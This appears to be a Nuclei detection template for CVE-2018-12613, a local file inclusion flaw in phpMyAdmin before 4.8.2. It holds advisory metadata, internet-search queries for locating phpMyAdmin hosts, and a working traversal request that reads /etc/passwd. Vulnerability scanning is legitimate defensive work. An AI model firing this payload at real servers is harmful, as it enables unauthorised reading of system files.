PhpMyAdmin <4.8.2 - Local File Inclusion

id: CVE-2018-12613

info:
  name: PhpMyAdmin <4.8.2 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Upgrade PhpMyAdmin to version 4.8.2 or later to fix the vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
    - https://www.phpmyadmin.net/security/PMASA-2018-4/
    - https://www.exploit-db.com/exploits/44928/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12613
    - https://security.gentoo.org/glsa/201904-16
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-12613
    cwe-id: CWE-287
    epss-score: 0.98391
    epss-percentile: 0.99911
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phpmyadmin
    product: phpmyadmin
    shodan-query:
      - http.title:"phpmyadmin"
      - http.component:"phpmyadmin"
      - cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
    fofa-query:
      - title="phpmyadmin"
      - body="pma_servername" && body="4.8.4"
    google-query: intitle:"phpmyadmin"
    hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
  tags: cve,cve2018,vulhub,edb,phpmyadmin,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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